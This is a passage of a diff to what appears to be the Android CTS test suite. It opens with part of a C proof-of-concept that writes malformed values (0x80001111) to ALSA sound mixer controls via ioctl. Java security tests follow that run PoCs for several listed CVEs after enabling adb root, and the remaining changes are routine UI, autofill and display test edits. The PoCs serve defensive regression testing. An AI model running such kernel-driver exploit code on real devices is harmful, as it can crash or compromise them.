+    "pcmC0D43c",

+    "pcmC0D44c",

+    "pcmC0D44p",

+    "pcmC0D45c",

+    "pcmC0D45p",

+    "pcmC0D4p",

+    "pcmC0D5c",

+    "pcmC0D5p",

+    "pcmC0D6c",

+    "pcmC0D7p",

+    "pcmC0D8c"

+};

+

+ char* OPPCM[MAXPCMOP]={

+    "/dev/snd/pcmC0D0p",

+    "/dev/snd/pcmC0D10p",

+    "/dev/snd/pcmC0D11p",

+    "/dev/snd/pcmC0D12p",

+    "/dev/snd/pcmC0D13p",

+    "/dev/snd/pcmC0D14p",

+    "/dev/snd/pcmC0D15p",

+    "/dev/snd/pcmC0D19p",

+    "/dev/snd/pcmC0D1p",

+    "/dev/snd/pcmC0D20p",

+    "/dev/snd/pcmC0D21p",

+    "/dev/snd/pcmC0D22p",

+    "/dev/snd/pcmC0D23p",

+    "/dev/snd/pcmC0D24p",

+    "/dev/snd/pcmC0D2p",

+    "/dev/snd/pcmC0D32p",

+    "/dev/snd/pcmC0D33p",

+    "/dev/snd/pcmC0D3p",

+    "/dev/snd/pcmC0D40p",

+    "/dev/snd/pcmC0D41p",

+    "/dev/snd/pcmC0D44p",

+    "/dev/snd/pcmC0D47p",

+    "/dev/snd/pcmC0D4p",

+    "/dev/snd/pcmC0D5p",

+    "/dev/snd/pcmC0D7p"

+};

+

+void poc(char* name)

+{

+    int fd, ret, cmd, index,pcmfd, i;

+    char dev[36]={0};

+    snprintf(dev, sizeof(dev),"/dev/snd/%s", name);

+    fd = open(dev, O_RDWR);

+    if (fd < 0) 

+    {

+        return;

+    }

+

+    cmd = SNDRV_CTL_IOCTL_CARD_INFO;

+    struct snd_ctl_card_info info;

+    ret = ioctl(fd, cmd, &info);

+

+    struct snd_ctl_elem_list lst;

+    struct snd_ctl_elem_value control;

+    memset(&lst, 0, sizeof(lst));

+    lst.pids = calloc(MAXELE, sizeof(struct snd_ctl_elem_list));

+    lst.space = MAXELE;

+    cmd = SNDRV_CTL_IOCTL_ELEM_LIST;

+    ret = ioctl(fd, cmd, &lst);

+    control.value.integer.value[0]=control.value.enumerated.item[0] = 0x80001111;

+

+    for(index=0;(unsigned int)index<lst.count;index++)

+    {

+        if(!strncmp((const char *)lst.pids[index].name,"SLIM_1_TX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_0_TX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_6_RX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_5_RX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"SLIM_0_RX Channels",18)||

+           !strncmp((const char *)lst.pids[index].name,"Playback 24 Volume",18)||

+           !strncmp((const char *)lst.pids[index].name,"left Profile",12)||

+           !strncmp((const char *)lst.pids[index].name,"Playback Device Channel Map",27)||

+           !strncmp((const char *)lst.pids[index].name, "LSM",3)||

+           !strncmp((const char *)lst.pids[index].name,"MAD Input",9)||

+           !strncmp((const char *)lst.pids[index].name, "AUDIO_REF_EC_UL",15)||

+           !strncmp((const char *)lst.pids[index].name, "VOC_EXT_EC",10)) continue;

+

+        control.id.numid=lst.pids[index].numid;

+        ret = ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);

+    }

+    close(fd);

+}

+

+struct mystruct{

+    int a;

+    char* pp;

+};

+

+void freeptr(struct mystruct* p)

+{

+    unsigned char* n = (unsigned char *)p->pp;

+    n = NULL;

+    p->pp = NULL;

+    p = NULL;

+}

+

+int main()

+{

+    int i =0;

+    for(i = 0; i< MAXNUM; i++)

+    {

+        poc("controlC0");

+        break;

+    }

+    return 1;

+}

diff --git a/hostsidetests/security/src/android/security/cts/Poc17_02.java b/hostsidetests/security/src/android/security/cts/Poc17_02.java
new file mode 100644
index 0000000..4f22f3b
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_02.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_02 extends SecurityTestCase {
+
+    /**
+     *  b/31796345
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0451() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/voice_svc")) {
+            AdbUtils.runPoc("CVE-2017-0451", getDevice(), 60);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_04.java b/hostsidetests/security/src/android/security/cts/Poc17_04.java
new file mode 100644
index 0000000..3a1e78e
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_04.java
@@ -0,0 +1,88 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc17_04 extends SecurityTestCase {
+
+    /**
+     *  b/33544431
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0576() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/qce")) {
+            AdbUtils.runPoc("CVE-2017-0576", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/34325986
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0580() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+            AdbUtils.runPoc("CVE-2017-0580", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33353601
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0462() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/seemplog")) {
+            AdbUtils.runPoc("CVE-2017-0462", getDevice(), 60);
+	}
+    }
+
+    /**
+     *  b/33842951
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0577() throws Exception {
+      enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/touch_fwu")) {
+            AdbUtils.runPoc("CVE-2017-0577", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33966912
+     */
+    @SecurityTest
+    public void testPocCVE_2016_10231() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+            AdbUtils.runPoc("CVE-2016-10231", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/34276203
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0564() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/ion")) {
+            AdbUtils.runPoc("CVE-2017-0564", getDevice(), 60);
+        }
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_06.java b/hostsidetests/security/src/android/security/cts/Poc17_06.java
index 64bc70e..e08aa9e 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_06.java
@@ -31,4 +31,37 @@
             AdbUtils.runPoc("Bug-34328139", getDevice(), 60);
         }
     }
+
+    /**
+     *  b/33452365
+     */
+    @SecurityTest
+    public void testPocBug_33452365() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/pcmC0D16c")) {
+            AdbUtils.runPoc("Bug-33452365", getDevice(), 60);
+	}
+    }
+
+    /**
+     *  b/34125463
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0579() throws Exception {
+	enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
+            AdbUtils.runPoc("CVE-2017-0579", getDevice(), 60);
+        }
+    }
+
+    /**
+     *  b/33751424
+     */
+    @SecurityTest
+    public void testPocCVE_2017_7369() throws Exception {
+        enableAdbRoot(getDevice());
+        if(containsDriver(getDevice(), "/dev/snd/controlC0")) {
+          AdbUtils.runPoc("CVE-2017-7369", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
index d835da7..db75deeb 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TestActivityWithSameAffinity.java
@@ -16,6 +16,7 @@
 
 package android.server.cts;
 
+import android.app.PictureInPictureParams;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -29,6 +30,8 @@
 
     private static final String TAG = TestActivityWithSameAffinity.class.getSimpleName();
 
+    // Calls enterPictureInPicture() on creation
+    private static final String EXTRA_ENTER_PIP = "enter_pip";
     // Starts the activity (component name) provided by the value at the end of onCreate
     private static final String EXTRA_START_ACTIVITY = "start_activity";
     // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
@@ -38,6 +41,11 @@
     protected void onCreate(Bundle icicle) {
         super.onCreate(icicle);
 
+        // Enter picture in picture if requested
+        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        }
+
         // Launch a new activity if requested
         String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
         if (launchActivityComponent != null) {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
index d4a546b..8e65682 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -81,6 +81,7 @@
      * Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
      * from docked state to fullscreen (reverse).
      */
+    @Presubmit
     public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
index 01edfe7..55b41c8 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -943,7 +943,7 @@
         // Launch a fullscreen activity which will launch a PiP activity in a new task with the same
         // affinity
         launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY);
-        launchActivityInStack(PIP_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID);
+        launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
         assertPinnedStackExists();
 
         // Launch the root activity again...
@@ -972,7 +972,7 @@
                 EXTRA_START_ACTIVITY, getActivityComponentName(TEST_ACTIVITY),
                 EXTRA_FINISH_SELF_ON_RESUME, "true");
         mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
-        launchActivityInStack(PIP_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID);
+        launchActivity(PIP_ACTIVITY_WITH_SAME_AFFINITY);
         mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID);
         assertPinnedStackExists();
 
@@ -994,7 +994,8 @@
         if (!supportsPip()) return;
 
         // Launch an activity into the pinned stack with a fixed affinity
-        launchActivityInStack(TEST_ACTIVITY_WITH_SAME_AFFINITY, PINNED_STACK_ID,
+        launchActivity(TEST_ACTIVITY_WITH_SAME_AFFINITY,
+                EXTRA_ENTER_PIP, "true",
                 EXTRA_START_ACTIVITY, getActivityComponentName(PIP_ACTIVITY),
                 EXTRA_FINISH_SELF_ON_RESUME, "true");
         mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
index 7b366d4..63aa1ab 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
@@ -16,6 +16,8 @@
 
 package android.server.cts;
 
+import android.platform.test.annotations.Presubmit;
+
 import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_CLOSE;
 import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
 import static android.server.cts.WindowManagerState.TRANSIT_TASK_CLOSE;
@@ -38,6 +40,7 @@
  * Build: mmma -j32 cts/hostsidetests/services
  * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerTransitionSelectionTests
  */
+@Presubmit
 public class ActivityManagerTransitionSelectionTests extends ActivityManagerTestBase {
 
     private static final String BOTTOM_ACTIVITY_NAME = "BottomActivity";
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
index b1cf2a2..5b1935b 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
@@ -121,7 +121,7 @@
     static final String AM_MOVE_TASK = "am stack move-task ";
 
     private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
-            "am supports-split-screen-multiwindow";
+            "am supports-split-screen-multi-window";
     private static final String AM_NO_HOME_SCREEN = "am no-home-screen";
 
     private static final String INPUT_KEYEVENT_HOME = "input keyevent 3";
@@ -258,6 +258,7 @@
         // Get the device, this gives a handle to run commands and install APKs.
         mDevice = getDevice();
         wakeUpAndUnlockDevice();
+        pressHomeButton();
         // Remove special stacks.
         removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
         // Store rotation settings.
@@ -280,6 +281,7 @@
             // Remove special stacks.
             removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
             wakeUpAndUnlockDevice();
+            pressHomeButton();
         } catch (DeviceNotAvailableException e) {
         }
     }
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
index 6281e16..17ede35 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
@@ -102,7 +102,7 @@
     private static final String RESULT_NULL_DROP_PERMISSIONS = "Null DragAndDropPermissions";
 
     private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
-            "am supports-split-screen-multiwindow";
+            "am supports-split-screen-multi-window";
 
     private ITestDevice mDevice;
 
diff --git a/tests/acceleration/AndroidTest.xml b/tests/acceleration/AndroidTest.xml
index 9bf8136..60e4bae 100644
--- a/tests/acceleration/AndroidTest.xml
+++ b/tests/acceleration/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Acceleration test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAccelerationTestCases.apk" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index 9c22cc4..dbf393b 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -24,8 +24,8 @@
 import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.GestureDescription;
 import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.content.Context;
 import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.graphics.Matrix;
 import android.graphics.Path;
 import android.graphics.Point;
@@ -38,6 +38,7 @@
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewConfiguration;
+import android.view.WindowManager;
 import android.widget.TextView;
 import org.hamcrest.Description;
 import org.hamcrest.Matcher;
@@ -300,8 +301,10 @@
             return;
         }
 
-        final Resources res = getInstrumentation().getTargetContext().getResources();
-        final DisplayMetrics metrics = res.getDisplayMetrics();
+        final WindowManager wm = (WindowManager) getInstrumentation().getContext().getSystemService(
+                Context.WINDOW_SERVICE);
+        final DisplayMetrics metrics = new DisplayMetrics();
+        wm.getDefaultDisplay().getMetrics(metrics);
         final float centerX = metrics.widthPixels / 2;
         final float centerY = metrics.heightPixels / 2;
         final PointF clickPoint = new PointF(
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
index fd4ac47..791479e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
@@ -20,11 +20,12 @@
 import android.accessibilityservice.AccessibilityService.MagnificationController.OnMagnificationChangedListener;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Instrumentation;
-import android.content.res.Resources;
+import android.content.Context;
 import android.graphics.Region;
 import android.provider.Settings;
 import android.test.InstrumentationTestCase;
 import android.util.DisplayMetrics;
+import android.view.WindowManager;
 
 import java.util.concurrent.atomic.AtomicBoolean;
 
@@ -82,8 +83,10 @@
 
     public void testSetScaleAndCenter() {
         final MagnificationController controller = mService.getMagnificationController();
-        final Resources res = mInstrumentation.getTargetContext().getResources();
-        final DisplayMetrics metrics = res.getDisplayMetrics();
+        final WindowManager wm = (WindowManager) mInstrumentation.getContext().getSystemService(
+                Context.WINDOW_SERVICE);
+        final DisplayMetrics metrics = new DisplayMetrics();
+        wm.getDefaultDisplay().getMetrics(metrics);
         final float scale = 2.0f;
         final float x = metrics.widthPixels / 4.0f;
         final float y = metrics.heightPixels / 4.0f;
diff --git a/tests/app/src/android/app/cts/AspectRatioTests.java b/tests/app/src/android/app/cts/AspectRatioTests.java
index d86df32..5bd8cf9 100644
--- a/tests/app/src/android/app/cts/AspectRatioTests.java
+++ b/tests/app/src/android/app/cts/AspectRatioTests.java
@@ -50,7 +50,6 @@
  * Build: mmma -j32 cts/tests/app
  * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsAppTestCases android.app.cts.AspectRatioTests
  */
-@Presubmit
 @RunWith(AndroidJUnit4.class)
 public class AspectRatioTests {
     private static final String TAG = "AspectRatioTests";
@@ -106,6 +105,7 @@
     }
 
     @Test
+    @Presubmit
     public void testDeviceAspectRatio() throws Exception {
         final Context context = InstrumentationRegistry.getInstrumentation().getContext();
         final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
@@ -126,6 +126,7 @@
     }
 
     @Test
+    @Presubmit
     public void testMaxAspectRatio() throws Exception {
         runTest(launchActivity(mMaxAspectRatioActivity),
                 actual -> {
@@ -135,6 +136,7 @@
     }
 
     @Test
+    // TODO: Currently 10% flaky so not part of pre-submit for now
     public void testMaxAspectRatioResizeableActivity() throws Exception {
         final Context context = InstrumentationRegistry.getInstrumentation().getContext();
         final float expected = getAspectRatio(context);
@@ -148,6 +150,7 @@
     }
 
     @Test
+    @Presubmit
     public void testMaxAspectRatioUnsetActivity() throws Exception {
         final Context context = InstrumentationRegistry.getInstrumentation().getContext();
         final float expected = getAspectRatio(context);
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index 079a0b9..e3ce544 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -60,12 +60,15 @@
         // Get a {@link Display} instance after rotation.
         final Display updatedDisplay = mActivity.getDisplay();
 
-        // Ensure that the width and height of the original instance no longer are the same. Note
-        // that this will be false if the device width and height are identical.
-        assertFalse("width from original display instance should have changed",
-                origWidth == origDisplay.getWidth());
-        assertFalse("height from original display instance should have changed",
-                origHeight == origDisplay.getHeight());
+        // For square sreens the following assertions do not make sense and will always fail.
+        if (origWidth != origHeight) {
+            // Ensure that the width and height of the original instance no longer are the same. Note
+            // that this will be false if the device width and height are identical.
+            assertFalse("width from original display instance should have changed",
+                    origWidth == origDisplay.getWidth());
+            assertFalse("height from original display instance should have changed",
+                    origHeight == origDisplay.getHeight());
+        }
 
         // Ensure that the width and height of the original instance have been updated to match the
         // values that would be found in a new instance.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
index 3e2f207..56ae652 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -18,6 +18,7 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.app.Activity;
 import android.app.PendingIntent;
 import android.app.assist.AssistStructure;
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
@@ -48,7 +49,13 @@
     private static final SparseArray<CannedFillResponse> sResponses = new SparseArray<>();
     private static final ArrayList<PendingIntent> sPendingIntents = new ArrayList<>();
 
+    private static Object sLock = new Object();
+
+    // Guarded by sLock
+    private static int sResultCode;
+
     static void resetStaticState() {
+        setResultCode(RESULT_OK);
         sDatasets.clear();
         sResponses.clear();
         for (int i = 0; i < sPendingIntents.size(); i++) {
@@ -104,6 +111,16 @@
         return data;
     }
 
+    /**
+     * Sets the value that's passed to {@link Activity#setResult(int, Intent)} when on
+     * {@link Activity#onCreate(Bundle)}.
+     */
+    public static void setResultCode(int resultCode) {
+        synchronized (sLock) {
+            sResultCode = resultCode;
+        }
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -133,7 +150,12 @@
         // Pass on the auth result
         final Intent intent = new Intent();
         intent.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, result);
-        setResult(RESULT_OK, intent);
+        final int resultCode;
+        synchronized (sLock) {
+            resultCode = sResultCode;
+        }
+        Log.d(TAG, "Returning code " + resultCode);
+        setResult(resultCode, intent);
 
         // Done
         finish();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index 4bf751e..4b1f83e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -41,6 +41,20 @@
 import org.junit.Rule;
 import org.junit.Test;
 
+/*
+ * TODO: refactor this class.
+ *
+ * It has 2 types of tests:
+ *  1. unit tests that asserts AutofillValue methods
+ *  2. integrationg tests that uses a the InstrumentedAutofillService
+ *
+ *  The unit tests (createXxxx*() should either be moved to the CtsViewTestCases module or to a
+ *  class that does not need to extend AutoFillServiceTestCase.
+ *
+ *  Most integration tests overlap the tests on CheckoutActivityTest - we should remove the
+ *  redundant tests and add more tests (like triggering autofill using different views) to
+ *  CheckoutActivityTest.
+ */
 public class AutofillValueTest extends AutoFillServiceTestCase {
     @Rule
     public final ActivityTestRule<AllAutofillableViewsActivity> mActivityRule =
@@ -145,25 +159,22 @@
     }
 
     /**
-     * Trigger autofill on a view. This might have to be tried multiple times as the service might
-     * not be completely initialized yet and therefor autofill is not enabled while the focus is
-     * changed.
+     * Trigger autofill on a view.
      *
      * @param view The view to trigger the autofill on
      */
     private void startAutoFill(@NonNull View view) throws Exception {
-        eventually(() -> {
-            mActivity.syncRunOnUiThread(() -> {
-                view.clearFocus();
-                view.requestFocus();
-            });
+        mActivity.syncRunOnUiThread(() -> {
+            view.clearFocus();
+            view.requestFocus();
+        });
 
-            try {
-                sReplier.getNextFillRequest();
-            } catch (InterruptedException e) {
-                throw new RuntimeException(e);
-            }
-        }, (int) (FILL_TIMEOUT_MS * 3));
+        // NOTE: This method to require multiple attempts as the service could not be completely
+        // initialized yet (and therefore autofill would not enabled when the focus was changed),
+        // but now enableService() uses a Settings listener to wait until the setting is effect, so
+        // that flakiness should be gone if it still happens, then it could be fixed by calling
+        // InstrumentedAutoFillService.waitUntilConnected() here...
+        sReplier.getNextFillRequest();
     }
 
     private void autofillEditText(@Nullable AutofillValue value, String expectedText,
@@ -172,28 +183,27 @@
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField("editText",
-                    value).setPresentation(createPresentation("dataset")).build());
-            OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
-                    expectedText);
-            mEditText.addTextChangedListener(textWatcher);
 
-            // Trigger autofill.
-            startAutoFill(mEditText);
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("editText", value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
+                expectedText);
+        mEditText.addTextChangedListener(textWatcher);
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        // Trigger autofill.
+        startAutoFill(mEditText);
 
-            if (expectAutoFill) {
-                // Check the results.
-                textWatcher.assertAutoFilled();
-            } else {
-                assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
-            }
-        } finally {
-            disableService();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            textWatcher.assertAutoFilled();
+        } else {
+            assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
         }
     }
 
@@ -227,28 +237,26 @@
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
-                    "compoundButton", value).setPresentation(
-                    createPresentation("dataset")).build());
-            OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
-                        "compoundButton", mCompoundButton, expectedValue);
-            mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
 
-            startAutoFill(mCompoundButton);
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("compoundButton", value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
+                    "compoundButton", mCompoundButton, expectedValue);
+        mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        startAutoFill(mCompoundButton);
 
-            if (expectAutoFill) {
-                // Check the results.
-                checkedWatcher.assertAutoFilled();
-            } else {
-                assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
-            }
-        } finally {
-            disableService();
+        // Autofill it.
+        sUiBot.selectDataset("dataset");
+
+        if (expectAutoFill) {
+            // Check the results.
+            checkedWatcher.assertAutoFilled();
+        } else {
+            assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
         }
     }
 
@@ -282,27 +290,26 @@
 
         // Set service.
         enableService();
-        try {
-            // Set expectations.
-            sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField("spinner",
-                    value).setPresentation(createPresentation("dataset")).build());
-            OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
-                    "spinner", mSpinner, expectedValue);
-            mSpinner.setOnItemSelectedListener(spinnerWatcher);
 
-            startAutoFill(mSpinner);
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+                .setField("spinner", value)
+                .setPresentation(createPresentation("dataset"))
+                .build());
+        OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
+                "spinner", mSpinner, expectedValue);
+        mSpinner.setOnItemSelectedListener(spinnerWatcher);
 
-            // Autofill it.
-            sUiBot.selectDataset("dataset");
+        startAutoFill(mSpinner);
 
-            if (expectAutoFill) {
-                // Check the results.
-                spinnerWatcher.assertAutoFilled();
-            } else {
-                assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
-            }
-        } finally {
-            disableService();
